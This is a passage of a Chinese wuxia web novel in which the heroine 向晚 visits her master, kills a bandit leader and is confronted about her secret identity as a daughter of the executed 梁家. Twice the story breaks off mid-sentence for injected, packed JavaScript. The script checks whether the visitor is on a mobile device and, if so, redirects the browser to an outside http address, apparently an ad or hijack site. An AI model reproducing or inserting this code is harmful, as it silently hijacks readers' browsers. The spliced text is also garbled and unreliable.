向晚深以为然地跟着点头,脑子里却想起了别的: “我倒是似曾听闻,这天下宝器多是写斧钺钩叉,单有一样特立独行,正是一杆钓竿,唤作龙门跃,公子可有耳闻?” 裴央听此更是笑意深深: “确有此物,龙门跃,正是我制的。” 这倒叫向晚有些意外了,想这裴大侠当真是十八般武艺精通,果然天下第一就是天下第一,现下她连那个什么舍命愿陪郎的难听名号也觉得情有可原了。 两人闲谈间,不知不觉就到了山顶。 白鹿山高耸入云,在这云端之上,修着一间红墙琉璃瓦的道观,唤作白鹿观,白鹿观内松竹成林,观内的老道人豢养了一群仙鹤,两人立于山顶之时,不时便能隐约听见几声鹤鸣,仰头便可望见几只黑翅白羽的仙鹤不疾不徐地划过天际,当真宛如到了仙境。 这道观身侧,是一片漫无边际的林木,林木之间有条隐匿的小路,顺路而去,直到深处,便是山明先生隐居的啜云台。 裴央是名门正派,且又名声在外,拜会江湖里德高望重的长辈就如饮水吃饭一般司空见惯,他衣袂飘荡,端端立在这白鹿观门前,想起这梧桐阁作为江湖上如日中升的年轻后辈,其阁主若能广结善缘,那当真是极好的。 思及此,他回过头,望见向晚正扶着一棵歪脖子枣树喘着粗气,察觉到裴央的目光,她抬起了头。 这几步路实在是耗尽了她的心力,她倒不知这毒在她体内究竟是何运转方式,只觉得一用气力,便仿佛有一块巨石淤堵在胸口,是喘气不能,运气不畅,终于登顶,她是瞧什么都目光灼灼。 只是裴央不知道,他只觉得是人心有成算,兴许还看见了梧桐阁蒸蒸日上的光明未来,当下便提议道: “向阁主,这白鹿观的道长德高望重,不如你我一同前去拜会?” 向晚一口气还没喘上来,便生生呛住,她抬起头,目光灼灼,如临大敌,哑声道: “万不可去!” 8. 赤峰山(八) 倒不是这白鹿观有多凶险,向晚喘匀了气,扶着那歪脖子枣树站直了身子,讪笑道: “我就不去了,白鹿观的老道长,不大喜欢我。” 她与这老道长,有那焚琴煮鹤之仇。 老道长喜鹤,观内豢养的白鹤长羽润亮,唳叫展翅时,细密的鹤羽竟能堪堪遮蔽刺目天光,只余下绒绒暖意,叫人在燥热的夏日也能心平气静,十岁的向晚也喜鹤,她一眼便瞧出,若能将其制成一把鹤羽扇,定非凡品。 罪恶的种子一旦埋下,就定有生根发芽的一天。 于是在一个蝉鸣盛夏,她趁着午后溜进了鹤苑,友好地向其中一只借了一大把羽毛,又精心制成一把羽扇,再诚信满满地在师父生辰这天,作寿礼献了上去。 那鹤也是清高,被人薅了几把毛,郁郁几天,转头就一死了之了,向晚内心愧疚,瞧着这鹤直挺挺的尸体总觉得暴殄天物,于是趁着老道长还未发现,架了火搓了把调料就在后山将这鹤烤了,登时便是香飘十里,不多时,白鹿观的弟子便带着老道长寻香而至,跟着来的还有正笑眯眯摇着羽扇的师父。 老道长一改往日仙风道骨,能说一个字绝不说两个字的谪仙模样,他气得胡须直哆嗦,可憋了半天也没憋出半个字,只留给师父一个你看着办的眼神,便拂袖而去。 师父不愧为师父,自是将人未尽之意体察得无可附加,在一众白鹿观弟子的围观之下,他衣袍一撩,胡子一抹,神态自若地蹲在向晚身边,用那鹤羽扇扇了扇火,问了句: “我的好徒弟,这鹤还有几时烤好?” “快了快了,盐巴递过来。” 自此,这白鹿观外便竖起了一道牌子。 向晚尴尬地轻咳两声,指了指那门外十步远处端正竖立的木牌,两人凑来看去,上书颇为飘逸的几个大字: 山明与徒不得入内。 正是老道长亲笔。 她于是连连摆手,只道恕难同行,对这不堪回首的往事只字不提,向着啜云台先行而去。 她的轻功倒是精妙非凡,须臾片刻便无影无踪,只留下裴央在原地一头雾水。 顺着林间小道,曲曲折折走了许久,方才豁然开朗,眼前是一处偌大的院落,松柏高生,枝叶交映间是一块古朽的匾,其上自书三字“啜云台”,这是师父亲笔的字,遒劲如松根,向晚每每瞧见,都会想起自己幼时练的第一笔字,便是照着师父写就的贴描的。 院内清泉流水,碎冰叮咚,细泉围绕着几方土田,待到春回,这几方田便会种上青菜萝卜,颇有生趣,再向内走去,便是正屋所在,屋外由竹枝搭就了一方歇脚的台子,一位仙风道骨的老者盘坐于此,正与一位身着道袍的青年对弈。 向晚轻巧地摸过去,见那竹台上还围了一只小泥炉,隔火网上摆着一只粗糙的茶壶和几只澄黄浑圆的橘子,清逸的茶香混着果香扑鼻而来,老人围着狐袍,拥着鹤羽扇,手里捏了一粒黑子,正盯着棋盘出神。 半晌,匆匆开口道: “错了错了,退一步,且让我再退一步。” 道袍青年笑而不语,由着山明先生悔棋,向晚悄无声息地凑上前去一同看这棋局,果不其然,这黑子的气息已被白子赶尽杀绝,只留下苟延残喘的一丝,使这棋局还不至结束,她当下叹出一口气,正要开口。 山明先生动作利落,怀里的羽扇一挥,便横在向晚眼前: “你别说话,观棋不语真君子。” 向晚从善如流地后退一步,毫不犹豫地开口: “别妄自挣扎了师父,没您悔这几步,早便输了。” “我怎么就教出了你这么个逆徒。” 老先生轻轻啧了一声,颇为嫌弃地瞥了向晚一眼,那羽扇脱手,如一枚飞镖,打着转朝着向晚面门而来,向晚早便心有所感,当下一个顿步,向后略去,躲过了这一扇,又自空中一个拧身,将羽扇稳稳接住了。 山明先生手握一捧棋子,将人这套动作细细打量了片刻,忽道: “疏于练功了?” 向晚跟着笑: “弟子每日寅时便晨起练功,可不曾有一日懈怠。” 山明先生若有所思,正要开口,向晚却看向那一同对弈的小道长: “这位是白鹿观的道长?怎的老道长不再追究那煮鹤之仇了?” 山明先生点了点头: “老道长修行之人,自是宽宏大量,早便不予计较了。” “那怎么我这一路走来,见那牌子还立在道观门外?” 山明先生冷哼一声: “还是那老家伙,这般小心眼,非说是怕那些个白鹤触景生情,说什么也不让我再去道观了,我可还不稀得去。” 也不知这当着人家道观弟子的面这般讲是不是有些不合适,向晚正待要讲些什么圆过这份尴尬,便见师父拢了手中的棋子收回棋篓,对那小道长笑道: “今日便到这里吧,你家道长想来有事要忙,你去帮他的忙吧。” 等那小道长走远了,山明先生当即拉过向晚的手,搭上了脉,他皱起眉,缓声道: “何时中的毒,孟客可看过?” 向晚坐到师父旁边,无奈叹气: “果真还是瞒不过师父,且有三四日了,我来此除了看望师父,便是为的这件事。” 她方才溜的这般迅速,为的便是要趁着裴央不在的时候,尽快将事情与师父合算清楚,毕竟裴央可还不知这雨落血梅传人一事。 她深吸一口气,将这几日的遭遇讲了个大概,山明先生听完,久久沉默,半晌,也跟着叹了口气: “是彦荷啊。” 他像是万分疲倦,连着叹了多声,才又道: “这孩子我知道,是我当年在收哪个徒弟的时候,亲手自那恶人窝里救下的,她不比旁人,倒是同你一样,是个苦命的孩子,于是我将她收在了门下,只教了些保命的功法,不成想当日善举,却反害了你。” 他目移至棋盘上,去收拢那些残子,边收边道: “我本不想叫她去趟这浑水,可她偏生倔强,说定能回来做我的亲传弟子,为雨落血梅洗脱冤名,后来我将她锁在房内,令孟客看管,不成想,还是叫她毒翻了孟客,偷跑出去,混入了杀戮,我在收尾之时见她伤的致命,心下不忍,才没补上那一剑。” “谁承想这孩子命大,心里埋下不甘,至这般造化。” 他摇了摇头,也是无可奈何: “这孩子现下是与何人牵扯,我是不得而知了,那为姓江的幕僚我也毫无头绪,只有一点,我当时教她修习的功法,名上虽是雨落血梅,实曰无双剑,无双剑诀,讲究一鼓作气,大开大合,若是与其正面对上时,其势便若破竹,但却极难防备雨落血梅善侧击的阴诡路数,现下你虽身中奇毒,功法难以施展完备,但只消记得,若再遇见,你便用雨落血梅那四两拨千斤的法子,只要打断她的气口,便可叫她节节败退。” 山明先生讲完,不免神色恹恹,向晚见了心中不忍,忙道: “师父不必自责,塞翁失马,焉知非福,哪有人能将这世间因果都参透明晰呢,更何况当年也是善念使然,善念怎能算是过错呢。” 老先生点了点头,沉寂半晌,又道: “我本见你,还要有一事相托,现下这般,倒不想强你所难,只是......” 他话未说尽,便听得门口那柴扉外悠扬一声,来人自报家门,原是裴央已拜会了老道长,正站在门口问礼。 “裴央?那个现下名声大噪的天下第一?” 见人来了,向晚展颜一笑: “倒是什么都瞒不过师父。” 两人收敛神色,遥遥便看见那白衣少年步履轻快,自松竹之间信步而来,向晚便也起身,规矩地站在师父身后,眼见裴央端正行礼道: “晚辈裴央,久闻先生盛名,今日得见,荣幸之至。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195555|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 老先生一面摇着羽扇,一面笑起来: “哪谈得上什么盛名,倒是你这小小年纪便有此名声,前途无量,大有可为呀。” 他瞧着裴央这器宇轩昂,凛然正气的模样便觉得心生喜爱,心情也不免好上几分,两人一来一回聊得热络,到让向晚得了空出神,她瞧着师父那挺直的脊背,不免心生感慨。 她的师父,本该是受万人敬仰,悬壶济世,遍行天下之人,却因缘际会,作了这雨落血梅一派上一代的唯一继承人。 在此之前,师父出身医学世家,于是自小立志要济世救民,他也天赋异禀,年纪尚小便已长于医术,成了十里八乡小有名气的医者,只可惜,才悬壶济世了没几天,便遇着了潦倒落魄,命悬一线的师祖。 年轻的大夫摩拳擦掌,毕竟在这小小的村落间,所治之症逃不过东家头疼西家腿疼,能有些少见的,也左不过是谁家的小孩吃饱了撑得下不来炕,而今遇上个能大展身手的机会,自当视若珍宝,一来二去,竟也当真将人自鬼门关前拉了回来。 师祖缓过一口气,瞧着眼前大夫稚嫩的面容,想也知道自己捡回的这条命有多么不易,他在人粥饭汤药的照料下将养数日,方才痊愈彻底,某日里瞧着人手握汤勺搅动药锅,不知怎的,忽然就决定了要将这雨落血梅的尽数传与这小大夫。 师父当时,并不知晓自己救了何人,自也不知当时的雨落血梅在这江湖上,是人人得而诛之的卑劣处境,师祖的同门尽数遭杀,侥幸逃出来的,也被赶尽杀绝,只余下师祖这一人,是雨落血梅举尽门派之力,层层突围,好容易才保下的性命。 只说,是这雨落血梅的功法极尽精巧血腥,无声无息形容鬼魅,杀人千里不留行,其集大成者,运功行气之时,便如细雨过境,雨丝落地,飞溅的鲜血泼洒一遍,洋洋洒洒,恍如一幅血梅图。 故名,雨落血梅。 此功法甫一出世,便引得江湖各派人人自危,为首的几家长老齐聚商议,不出几日,便将这雨落血梅打为了邪功,仿佛这天下恶事,尽是雨落血梅门派弟子所为,之后没有几天,这几家名门正派便带人打上门去,逢人便杀,见人便砍,最后将那掌门一剑钉死在门派的大门前,剜去额前的一块人皮,以示惩戒。 可这天下宗门林立,哪家哪派不会出个奸恶之辈呢,且雨落血梅门下弟子低调非常,往日里门户不出,少有几次崭露头角,所行也是惩恶扬善之事,向晚不甘,雨落血梅功法是邪门了些,怎的就它被定成了邪功,得万人诛之呢。 彼时她年纪尚小,不明白雨落血梅的处境,就像不明白她家里遭际的那一场有名无罪的大火,师父沉默了许多日,才将她叫到跟前,说了这样一番不着边际的话来: “晚儿啊,你需得知,这世上看起来指皂为白的事情有太多,无辜者遭人屠戮,无德者却稳坐高台,救世者籍籍无名,叛国者却受万人歌颂,天有不公,却都是无可奈何的事。” 他顿了顿,眼内的神彩揉成碎星点点: “人行走世间,万般无可奈何,可你的心不得有偏,心偏了,执剑的手便偏了,可只要心没偏,就算是斩尽王孙,杀净武林,也定可带着黎明百姓,走向太平盛世。” 苍天多有不公。 师父这一生,便是不公,原是要悬壶济世,救济天下人的,可偏造化弄人,必要经一场屠戮杀孽,遭天下人追杀。 师祖心怀恨意,是对雨落血梅落得人人得而诛之的恨意,自也是对天下人的恨意,雨落血梅一脉的复仇如孕于浓云的一道重雷,只等时机成熟的那一刻,流血漂橹,天地蒙尘,生灵涂炭,可是师祖等不到那一刻了,他自己心里知道,等不到了。 于是他在弥留之际,只留给了师父两句话,字字泣血: 雨落血梅,潜龙养息,一经出世,必逢血流, 万人死战,尸连成山,只活一人,独得真传。 于是,便有了赤峰山血案。 9. 赤峰山(九) 棋盘上的黑白棋子已被尽数收进棋篓,山明先生眉眼低垂,静静听着裴央将那赤峰山上的来龙去脉细细讲了一遍,方才长长叹出一口气。 向晚是他唯一的徒弟,经了这样的事,不免叫人心疼,他挥手叫屋内的随侍去取一些滋补的药剂汤食,一并装在布袋里塞给了向晚,向晚拿着手上沉甸甸的布袋,方才回过神,她咂了咂嘴,想起师父方才未说完的话: “师父方才所说的是何事?我虽是运功不能,但好在裴公子侠肝义胆,愿意陪着我查清这赤峰山的事,师父有什么吩咐,只管说便是。” 裴央依言点头,顺手将向晚手里那沉甸甸的布袋接过来背在身上。 方才聊得投缘,山明先生又瞧着裴央这副样子很是靠谱,他倒是放心很多,于是道: “说来也是与赤峰山相关的事,你们上山来,定是路过了那山脚下的白杏村,白杏村往东十里,有一间废弃着的驿站,近日被一伙山匪占了,白鹿观的弟子前去赶了好几回,却也不见成效,只听说,打头的那个尽日里嚷嚷着要报赤峰山的仇,白杏村的百姓不堪其扰。” 他顿了顿,裴央若有所思,适时接到: “若与赤峰山相关,兴许也可以过问一二,将当年的事弄清也好。” 果然他这个好徒弟没有将赤峰山一事的真相告知裴央,山明先生将目光转向向晚,意有所指道: “我看未必,此人说是赤峰山一事里哪个人的胞弟,实则无从查验,来路不清,还是尽快除之为好。” 向晚心领神会地点头,她明白师父的意思,既是要报赤峰山的仇,那此人定非良善之辈,赤峰山一事牵扯颇多,应当在其成了气候之前便速速除掉。 只是裴央似乎另有打算,二人告别了山明先生,顺路下山而去,等到了白杏村,已是傍晚。 天色渐晚,家家户户挂起灯笼,暖黄的灯火在黄昏下顺着长街向天际漫去,街上往来的人却越来越多。 两人顺着长街而行,清冽的酒香飘飘摇摇,混着热气腾腾的刚出炉的油酥香,向晚心里新奇,又不禁雀跃,倒是想不到这仙山之下,竟有如此繁盛的市井夜市,她遥遥望了望渐起的月色,顿觉这惩恶扬善之事倒也不急于一时了。 四下望去,长街上的商铺陆续挂起了酒旗招牌,各色吃食一应俱全,且有许多是平日里不常见到的,别地的吃食,金临的白龙脍,葱醋鸡,端州的铜炉炙肉,吊炉烧鸭,兖州的清凉虾,奶汁炖鱼肉,且有琳琅各色的酒缸陈在酒铺里,向晚鼻尖轻耸,打头这最为不一般的香气,便是她平素最喜的“不羡仙”。 她心情不错地跟在裴央后面,裴公子生得端方俊逸,果然平易近人,总难逃被人拉住攀东扯西,他倒也乐在其中,谈天说地间便毫不吝啬地将人摊位上的吃食挑上几件,买下了,再顺手塞到向晚怀里。 于是向晚便抱着这,满怀的汤水吃食,跟在人身后东逛西逛,原以为此夜便就如此吃饱喝足地度过了,却见裴央抱着几个浑圆红润的苹果,竟折返而来。 向晚心生不妙,艰难咽下嘴里的酒酿小圆子,便见人开口道: “都打听清了,那伙山匪为首的姓崔,盘踞在那废弃的客栈且有小半月了,尽日里抢鸡盗鸭,很是猖狂,再不管一管,下一步便要开始抢媳妇了。” 他顿了顿,自手里的苹果中挑了个最为浑圆好看的,添在向晚那一捧吃食里,又将余下的四散分发给了路边嬉闹的孩童,继续道: “且听说,这伙人尤是喜欢挑夜色渐起的时候行窃作案,我想着,不如你我趁此夜色,一鼓作气到那客栈一探究竟,再做打算如何?” 向晚恍然,瞧着人是东拉西扯,原是去打探情报了,她不禁咋舌,连怀里的蜜酿兔肉也不觉得香了。 裴央见人默许,从善如流地将人怀里捧不下的吃食也一并接过来,收在行囊中,向晚瞧着不禁又是一阵感慨,风餐露宿也至如此盛器溢羮,裴公子倒当真是无微不至。 事已至此,只得无奈又是赶路,等到了那间破败客栈,天已黑尽。 两人站定向内望去,那院落里是破庙乱瓦,断梁残柱,七扭八歪的篱笆内,却围了无数鸡鸭,挨挨挤挤,络绎不绝,隔了几里地都能听得这些鸡鸭吵架、 向晚被吵得头痛,她倒是想直接提剑杀过去,只是想来这裴公子也不会苟同,她于是按兵不动,只将目光落在了裴央身上,却见这裴公子也是不堪其扰,裴央当下失了上前叩门的好脾气,清了清嗓子,沉声道: “里面的人听好了,你做的诸多恶事,皆已核查清晰,抵赖不得,现下速速出来束手就擒,不然别怪我们不客气了。” 好一个先礼后兵,向晚倒是当真耐下性子了,她平素寻仇杀人,向来都是直接踹门而入,提人来杀,偶有心情不佳,才会拉着人呛两句话,数一数从前的仇恨,而后便是人头落地,刀刃上的血抹净了,便风紧扯呼,如今这般有礼貌,倒叫她有些新鲜了,她于是抱臂站在一边,瞧着裴央一本正经地朝着屋内喊话。 只是回应他的,却只是一众鸡鸭喧嚷。 其声势之大,竟还将他的声音盖了过去,向晚颇难以置信地瞧着这满院鸡鸭的排山倒海之势,心道怕是这白杏村的所有家禽都被拢聚在此了,她一时咋舌,回头望见满头黑线的裴央,忽而心觉好笑。 裴大侠大约也没想过会至这般田地,他深吸一口气,气沉丹田,停顿片刻,却忽然按剑,抬步进了院落。 原是放弃了,向晚失笑,连忙跟上,两人进了这破败院子,转了一圈,才发觉此处空无一人,她当下心中一沉,难不成果真如裴央所言,这伙山匪在日落时分已然出门作恶了。 两人当下便要往村内赶去,还未来及跨出门槛,月色昏黑之间,墙上挂着的一张薄纸却生生止住了两人的脚步。 那是一张人像。 两人借着月色凑近看去,见这纸页斑驳,其上画的是一位女子,且这女子额前,赫然插着一只飞镖。 大约是仇人吧。向晚细细看去,越瞧越觉得不对劲,身侧的裴央倒是没有瞧出什么所以然,裴央急着想往村内赶,正是催促间,向晚忽觉恍然。 她认出这张画像了。 那画像上破洞许多,只能依稀辨认出模糊的眉眼,看得出是日日被人当做了飞镖靶子使,想来仇恨深不可测,她瞧着画上的人脸,只觉得寒意渐渐攀上了脊背。 这画上的女子不是旁人,正是她自己。 向晚不觉收紧了拳,便就在这一瞬间,身后忽发异响,还未来及反应,裴央便拔剑去挡,只听铮然一声,一枚飞镖被剑刃拨开,直直钉入身侧的墙内,发出一声闷响。 向晚惊吓未平,却已拔刀扭身抵挡,只见黑暗之中堪堪折射出铁器模糊的光影,她心中谨记自己这身雨落血梅的功法已废,不然此等处境,便是最有利于她的,然而现下,她只得向后退却,将那把狭长的刀横在身前。 此刀,名为春去也,乃是师父所传,雨落血梅一派祖传的兵器,刀刃窄而薄,刀身足有小臂长短,剥皮剔骨,最为趁手。 她沉住气,见裴央提着长剑,与面前那人来回几个回合,方才依稀辨认出,对面那人身姿雄壮,手握两柄宽刃开山斧,一来一回,是虎虎生风,几次三番擦着裴大侠的剑刃而过,刀剑嘶鸣之音不绝于耳。 战局正是僵持,只听“扑”的一声,堂屋内忽的亮起一盏苍白的纸灯笼,仿佛鬼火一般,在这一瞬,那把开山斧顺着裴央面门劈头盖脸而下,裴央当下一惊,他连忙后撤,慌乱之间还不忘扯住向晚的衣襟,二人轻轻跃步,那斧刃砍断了地上陈朽的木梁,木屑四起。 “来者何人!” 裴央一面将向晚拉至自己身后,一面沉声喝道。 昏暗不明之间,魁梧男人的声音仿佛一柄钝刀: “扶桐山崔家第二子,崔鸿。为兄报仇,暂居于此,你闯我门来,又是何人!” 崔鸿生的魁梧,面上纵横一道狰狞的疤痕,他满脸横肉,打着赤膊,目光将两人来回扫了个遍,那双浑浊的眼忽而盯住了向晚,登时怒发冲冠,发难道: “向晚!你竟然还敢送上门来,老子拿的就是你的命!” 他一把蛮斧脱手掷去,斧刃破空,向晚瞧着那直冲自己面门而来的物事便觉双耳嗡鸣,她提起一口气,点步跃起,自袖中甩出一排细密的铁针,说是铁针,却又比那寻常的银针暗器大上几倍,倒像是细长的铁锥子,正是雨落血梅一门独到的暗器,唤作流水落花针。 那几根铁针尽数射向那柄开山斧,只听“叮咚”几声脆响,几枚针尖撞上斧刃,竟将这斧头改了道,反向一边的墙面而去,饶是如此,仍有几根竟还能擦着斧刃而过,直冲那崔鸿面门。 崔鸿反应不能,狼狈退后几步,那向晚在空中一个拧身,黑靴顺势踏上人的胸膛,这一下力道极深,连崔鸿那般壮硕的身形也不由得又是退后,堪堪站稳,而向晚却轻飘飘地落地,冷声道: “胡言乱语,我与你有何仇怨,轮得上你来要我的命?” 她心中急切,自不想叫这崔鸿将雨落血梅的秘辛点破,叫裴央知晓,于是话音未落,便又是挥刀砍去,刀刃直指崔鸿的喉间。 雨落血梅,向来以攻速见长,且杀人之时,尺寸得当,悄无声息,遭雨落血梅暗杀之人,尸首只能看见喉间两道不过两寸的伤口,深可见骨,可泼出的血却洋洋洒洒,落满一地。 只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195556|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她此番未能如愿,自那崔鸿身后,忽而又窜出一道身影,只手握一柄大铁勺,挡在了向晚的刀锋之下。 那铁制的勺柄应声而碎,向晚迅速收刀后撤,回过头,只见裴央虽仍是提剑戒备,却目露疑惑,她无暇顾及,那崔鸿已杀至面前,只得且退且战,裴央正要施以援手,可自那拿着锅勺之人身后,又窜出许多人来,将裴央团团围住,脱身不能。 屋内狭窄,难以施展,两人便向屋外撤去,裴央长剑一凛,势如流云,剑影闪烁之间,那冲在前头的几人便已经皮开肉绽,血珠横飞,他控着力道,只叫几人伤及皮肉,不至丧命,他的武功远在这些杂兵之上,一时间便如切瓜砍菜一般,稀稀拉拉地倒地一片。 他倒是个心慈手软,向晚可没什么好脾气。 那崔鸿乍见仇人,怒意已然烧红了眼,他一把捞起掷出的斧头,恶声骂道: “你当要抵赖?向晚!这赤峰山的几百条人命,哪一个不是死于你师徒二人之手?我的兄长也在其列,你手上这功法,也正是雨落血梅没错吧,你还想抵赖?” 此声震然,嗓门极大,以至院内的鸡鸭们都被吓得哑了声,四下一片寂然,裴央的目光自刀剑之间遥遥而至。 他手里的剑都不由得攥紧了些,难怪几日前他问那向阁主师从何处时,她避而不答,他心中生疑,却觉得不该凭那恶人一言,妄下论断,正想等这混战结束好好问上一问,却见向晚冷笑一声,那把春去也脱手,在空中拧了个个,直直插入了崔鸿的胸膛。 崔鸿呼吸一窒,那口气还未来及吐出,一段纤细的手腕便死死扼住了他的脖颈,将那口气永远卡在了喉头。 总算是不用再装那些个名门正派的行事了。 向晚手上又重了几分力道,自喉管深处咯吱作响,崔鸿一张脸都被憋成了绛紫色,却始终提着口气,求死不得,他微微突出的双眼死死盯住向晚,瞧着人轻笑一声,淡然道: “雨落血梅?你倒是知道你在同谁讲话。” 胸前的刀刃又没入几分,男人嘴角溢出鲜血,向晚却熟视无睹,只是自顾自道: “既然听过雨落血梅的大名,就该躲得远远的,何必送上门来,我手上的人命多如牛毛,自然不差你这一条。你很该庆幸,今日我心情尚可,否则,你的死法该比当下痛苦百倍。” 她嘴角的笑意狰狞,眼底隐露兴奋之色,她忽然松手,男子壮如耕牛的身躯软绵绵地跌坐在地,随后只见刀光一闪,向晚轻巧闪身,冒着热气的血液如泼墨一般淋漓满地,落在灰色的薄雪上,血点连成片,似红梅绽放。 崔鸿的身躯轰然倒地,他便是如此利落地咽了气,围观此景的一众杂兵,人皆悚然,久久僵硬在原地,连挥刀也忘记,向晚甩开刀刃上的血,顺着视线望向不远处的裴央。 裴央正拧眉打量她,夜色昏沉,他面上倒是瞧不清颜色,但向晚心里明白,这番想来是不能同行了,赤峰山一事在江湖之上传的沸沸扬扬,就算是她这个始作俑者去作解释,裴央大概也未必会信,她向来不喜麻烦,倒不如趁早开溜。 她于是打定主意,正待要运功而动,忽而异变突生,耳畔响起一阵蜂鸣,细细辨认,竟是铁刃破空之音,不偏不倚,正是朝着她的方向而来。 她当下神色一凛,慌忙跃起闪避,自袖中又掷出几枚流水落花针,铁器在空中相撞,金石之声清脆,定睛看去,被打落的却是一枚锋利无比的掷箭,她此番也无暇顾及裴央,顺着箭来的方向看去,只见一个黑影跃上房梁,纵跳几步,隐没在了屋子背后的一片林子中。 向晚当下提步跟了上去,那黑影轻功了得,踩着枝杈,几步便隐没林间,不见了踪影,她心下一沉,立在林间树下,四周寂静只闻得叶落之声,她忽觉一阵毫无来由的心慌。 呼吸之间,一柄冰冷的刀如一条阴冷的蛇,竟无声无息地自她身后贴上了她的脖颈,刀刃凉薄,锐利无比。 她当下渗然,恐惧自心底蔓延而开,她周身冰冷,僵在原地,毒发麻痹了她的无感,却仍然叫她感知到,站在她身后的,是一位武功不逊的男子。 只听得身后那人冷笑一声,轻声道: “果然是中了彦荷的劫灰引,而今你武功尽失,想来已是废人一个了。” 那声音凉如夜寒,仿佛毒蛇吐信。 向晚默不作声,岿然不动,那男子拿刀抵着她的脖子,转到她身前来,又将人逼退几步,靠在身后的树干上,向晚抬眸,借着皎洁月色,堪堪瞧清了那人的容貌。 男人身着素黑锦衣,眉目狭长锐利,眸光阴冷,透着狠厉,他将刀刃又逼近了些,薄唇轻挑,慢条斯理地开口道: “我说的对吧,梁姑娘。” 10. 赤峰山(十) 夜凉如水。 这片林子生在白杏村后,鲜有人来,林子不大,却实在繁茂,林中多是古树,盘根虬结,枝叶相交,将那如水的月色也遮盖了个七七八八。 向晚双手皆被人压制在身后,她紧贴树干,收敛呼吸,浓重的夜色吞没了她的表情,四下寂静,只在呼吸之间,她突然发力。 这力道来势迅猛,竟一鼓作气挣开了那架在她脖子上的刀,电光火石之间,她自腰间抽出春去也,刀刃翻转,寒光闪烁,晦明之间刀尖直指男人的喉间。 男人只向后闪躲,并未退却,反劈手便打上向晚握刀的手,这一击用了十足的力气,那腕上登时青紫一片,她咬牙忍痛,仍是不肯松手,男人见状,轻轻啧了一声,照着人痛处又是一掌,这才将人手中的短刀夺下,而后顺势,扼住了她的脖颈。 刀被夺了。 向晚心下一冷,这唤作什么劫灰引的毒竟厉害至如此,她心中的恐惧如乱草疯长,可仍然极力平静,沉声开口道: “你是什么人。” 男人一手钳制住向晚的脖子,一手拿起那把春去也,他借着月色细细瞧了瞧,忽而笑道: “这把刀是梁允留给你的?还是你那雨落血梅的师父传给你的?” 梁允。 向晚愣在原地。她已有太久太久,不曾听过这个名字了。 半晌,她回过神,冷声道: “你到底是谁!” 男人放下刀,偏过头又看向向晚,笑意森然,他慢悠悠地道: “我本没打算杀你,但并不意味着,我不能杀你,所以,我奉劝你一句,不要不识好歹。” 向晚冷着脸不作回应,只倔强地盯着人这张脸,试图看出几分熟悉来。 只奈何无果,男人见她不应,眯了眯眼,忽而欺身而上,趁人躲闪之间,指间一挑,便将人腰间的锦袋解下,握在手中,正是自赤峰山上那回的那一只。 他神情淡漠,将锦袋挑到眼前看了看,见正是自己要找的物件,攥着人脖颈的手便松了些力气,他瞧着向晚渐渐喘匀了气息,不冷不热道: “我是什么人无关紧要,要紧的是,你可还记得你是什么人。” 锦袋晃了晃,月色之下,那上面的金色绣线闪烁不明,映在向晚的一双眸中,男人渗着凉意的眼,如深不可测的一汪黑水,他盯着向晚看了许久,女孩眼眸低垂,长睫如鸦羽,于面上落下一片阴影,她就那样站在那,一声不吭,好像一座失了魂的雕像。 男人想了想,松开了握住人脖颈的手。 他自锦袋中,掏出那枚精雕细琢的玉符,那黄金描成的“梁”字,在月光下熠熠生辉,向晚的视线跟着落在那金字之上,看着那字,便仿佛看到了梁家几世的荣耀,梁家三代从军,于先帝,是潜邸之情,从龙之功,往来种种,风光无限,此玉符,便是见证。 她深吸一口气,开口的声音依然低哑: “我没忘记。” 自然不会忘记,因为她姓梁,而非向,她是梁家幺女,梁予朝,是生如朝阳,满怀着全家人的希冀,也是眼见着梁家的荣耀碾作尘泥,眼见着梁家满门抄斩,是母亲和阿姐,以命相护,才保下来的,梁家幺女。 她麻木地抬起双眼,看向男人,天边惊雷骤起,闪电照亮了她眼底的仇与恨,男人转头看向雷光处,浓云汇聚,天公呜咽,将要降下一场大雨了。 便就是这样的大雨。 她的思绪被拖拽回十几年前,也是这样的一场大雨,新帝谋逆功成,改国号为齐,他清算前朝旧部,一道圣旨将镇国公梁允,打作逆臣之首,梁家上下判了个满门抄斩。 闷雷一声重过一声,向晚微微抬头,似有冰冷的雨丝落在她的脸颊。 那场大雨刚落下来的时候,新帝命亲兵围了镇国公的府邸,父亲派人将府门堵住,叫女眷自后门出逃,却不想,那亲兵早已围了里三层外三层,最先逃出去的女使,连一声惨叫也未来及发出,头颅便滚在了刀刃之下。 雨渐渐下得大了,木头做的门轴自然抵不过潮水一样的兵刃,梁家的门破了,亲兵的头领挟父亲跪到厅上,旁边还停着长兄的棺椁,可是长兄的尸首还埋在边关的黄沙里,再没有人会带他归家了。 不多时,梁家上下便跪满了正厅。 打头的军士正要挥刀,梁家次子忽而暴起,他迎着刀刃而上,顶着半身鲜血,将那军士踹翻在地,他自幼习武,夺了刀,眨眼之间,便杀出了一条血路。 梁家顿时大乱,只是人人皆知,这只不过是垂死挣扎,不成气候,不过便在这混乱之中,母亲与阿姐东躲西藏,拼死将梁家幺女塞进了书房的暗室之中。 